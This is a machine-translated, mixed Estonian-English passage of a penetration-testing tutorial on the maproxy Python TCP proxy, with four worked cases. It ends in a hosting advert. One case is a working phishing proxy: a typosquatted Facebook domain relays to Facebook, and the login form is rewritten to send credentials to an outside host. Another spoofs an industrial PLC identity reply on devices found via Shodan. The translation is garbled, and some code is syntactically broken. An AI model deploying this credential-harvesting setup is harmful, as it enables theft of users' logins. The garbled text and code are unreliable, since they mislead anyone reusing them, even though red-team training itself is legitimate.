VÔrgudatalistika reaalajas töötlemine

Artikli tÔlge on ettevalmistatud kursuse alguseks «PenTest. Praktika testimise kÀitumise».

VÔrgudatalistika reaalajas töötlemine

KokkuvÔte

Mitmed turvalisuse hindamise meetodid, alates regulaarsetest sissetungitest kuni Red Team operatsioonideni ning IoT/ICS-seadmete ja SCADA hĂ€kkimisega, hĂ”lmavad töötlust binaarsete vĂ”rguprotokollidega, mis tĂ€hendab, et signaalide hĂ€kkimine ja modifitseerimine toimub tegelikult andmete pealtkuulamise ja sihtmĂ€rgiga vahetamisel. VĂ”rgu liikluse nuhkimine ei ole keeruline ĂŒlesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump vĂ”i Scapy, kuid modifitseerimine nĂ€ib olevat keerulisem ĂŒlesanne, kuna me peame looma eraldi liidese andmete lugemiseks, filtreerimiseks, reaalajas muutmiseks ja saatmiseks tagasi sihthostile, peaaegu reaalajas. Lisaks oleks ideaalne, kui selline tööriist suudaks automaatselt töötada mitmete paralleelsete ĂŒhendustega ja omada kohandamise vĂ”imalusi skriptide abil.

Ühel pĂ€eval avastasin tööriista, mida nimetatakse maproxy, dokumentatsioon andis mulle kiiresti mĂ”ista, et maproxy – just what I need. It's a fairly simple, versatile, and easily configurable TCP proxy. I tested this tool on several fairly complex applications, including ICS devices (which generate a lot of packets), to see if it could handle many parallel connections, and the tool performed well.

This article will introduce you to on-the-fly network data processing using maproxy.

Ülevaade

Tööriista maproxy based on Tornado – a popular and well-developed asynchronous networking framework in Python.

Overall, it can operate in several modes:

  • TCP:TCP – unencrypted TCP connections;
  • TCP:SSL ja SSL:TCP – with one-way encryption;
  • SSL:SSL – two-way encryption.

It comes as a library. For quick setup, you can use example files that reflect the basic features of the library:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Case 1 – Simple bidirectional proxy

Based on tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Vaikimisi ProxyServer() takes two arguments – the connection location and the target port. server.listen() takes one argument – the port to listen for incoming connections.

Running the script:

# python tcp2tcp.py

Testi lĂ€biviimiseks plaanime ĂŒhenduda kohalikku SSH-serverisse lĂ€bi meie proksi skripti, mis kuulab 2222/tcp porti ning ĂŒhendub standardse portiga 22/tcp SSH-server:

VÔrgudatalistika reaalajas töötlemine

Tere tulemast! BÀnner teatab, et meie skript on edukalt proksinud vÔrguliiklust.

Juhtum 2 – andmete modifikatsioon

Teine demonstreeriv skript logging_proxy.py on ideaalne vÔrgandmetega töötamiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmÀrgi saavutamiseks modifitseerida:

VÔrgudatalistika reaalajas töötlemine

KÔige huvitavam siin:

  • on_c2p_done_read – andmete pĂŒĂŒdmine klientserveri teel;
  • on_p2s_done_read – vastupidises suunas.

Proovime muuta SSH-bÀnnerit, mille server kliendile tagastab:

[
]
def on_p2s_done_read(self, data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession, self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("localhost", 22)
server.listen(2222)
[
]

KĂ€ivitage skript:

VÔrgudatalistika reaalajas töötlemine

Nagu nÀete, eksitati klient, kuna SSH-serveri nimi vahetati «DumnySSH».

VÔrgudatalistika reaalajas töötlemine

Juhtum 3 – lihtne phishing veebileht

Selle tööriista kasutusvÔimalusi on lÔputult. Seekord keskendume millelegi praktilisemale Red Team'i operatsioonide valdkonnas. Proovime luua sarnase lehe m.facebook.com ja kasutame tahtlikult vale kirjutusega kohandatud domeeni, nÀiteks m.facebok.com. Demonstreerimise eesmÀrgil oletame lihtsalt, et domeen on meie poolt registreeritud.

Kavandame luua krĂŒpteerimata vĂ”rguĂŒhenduse meie ohvriproxi ja Facebooki serveri SSL-voo vahel (31.13.81.36). Selle nĂ€ite toimimiseks peame asendama HTTP-teenuse pealkirja ja sisestama Ă”ige hostinime, lisaks keelame vastuste kokkusurumise, et saada nende sisule lihtne juurdepÀÀs. LĂ”puks asendame HTML-vormi, et sisselogimisandmed saadetaks meile, mitte Facebooki serveritele:

[
]
def on_c2p_done_read(self,data):
 # asenda Host pÀis
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# keelata kompressioon
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[
]
def on_p2s_done_read(self,data):
 # osaline vastuse asendamine
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[
]

KokkuvÔttes:

VÔrgudatalistika reaalajas töötlemine

Nagu nÀete, oleme edukalt suutnud originaalsaiti asendada.

Juhtum 4 – Ethernet/IP modifitseerimine

Olen ĂŒsna kaua tegelenud tööstusseadmete ja tarkvaraga (ICS/SCADA), nagu programmeeritavad kontrollerid (PLC), sisend-vĂ€ljund moodulid, mootori juhtseadmed, releed, redeliprogrammeerimise keskkonnad ja palju muud. See juhtum on mĂ”eldud neile, kes armastavad tööstusteemasid. Selliste lahenduste hĂ€kkimine tĂ€hendab aktiivset mĂ€ngimist vĂ”rgu protokollidega. JĂ€rgmises nĂ€ites soovin nĂ€idata, kuidas sa saad ICS/SCADA vĂ”rgu liiklust modifitseerida.

Selleks vajate jÀrgmist:

  • VĂ”rguhöövel, nĂ€iteks Wireshark;
  • Ethernet/IP vĂ”i lihtsalt SIP-seade, mida saab leida Shodan teenuse kaudu;
  • Meie skript pĂ”hineb maproxy.

Alustuseks vaatame, milline on tĂŒĂŒpiline identifitseerimisvastus CIP (Common Industrial Protocol) puhul:

VÔrgudatalistika reaalajas töötlemine

Seadme identifitseerimine toimub Ethernet/IP protokolli abil, mis on Etherneti tööstuslikul otstarbel laiendatud versioon. See kapseldab juhtimisprotokolle nagu CIP. Me kavatseme muuta eraldiseisvat identifitseerimisnime, mida nÀete ekraanipildil. «NI-IndComm for Ethernet» meie proxy-skripti kaudu. Me vÔiksime skripti taaskasutada logging_proxy.py ja sarnaselt klassi meetodit modifitseerida on_p2s_done_read, kuna me soovime, et kliendil oleks nÀhtav erinev identifitseerimisnimi.

Kood:

[
]
def on_p2s_done_read(self,data):
 # vastuse osaline asendamine

 # Kontrollime, kas saime List Identity sÔnumi vastuse
     if data[26:28] == b'x0cx00':
         print('Sain vastuse, asendamine')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[
]

Sisuliselt palusime seadme identifitseerimist kaks korda; teine vastus oli originaalne ja esimene oli kohapeal muudetud.

Ja viimane

Minu arvates maproxy mugav ja lihtne tööriist, mis on kirjutatud Pythonis, seega usun, et ka teie vÔite sellest kasutada. Muidugi on olemas ka keerukamaid tööriistu vÔrguandmete töötlemiseks ja muutmiseks, kuid need nÔuavad rohkem tÀhelepanu ning on tavaliselt loodud konkreetseks kasutusstsenaariumiks, nÀiteks Muraena, Modlishka vÔi evilginx kolmandate sarnaste juhtumite jaoks, vÔi canape viimase juhtumi jaoks. Nii vÔi teisiti, saate kasutada maproxy oma ideede kiireks teostamiseks vÔrguandmete pealtkuulamisel, kuna skripti nÀidised on vÀga selged.

Autentimismehhanismide testimine Windows AD-s

Allikas: habr.com

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster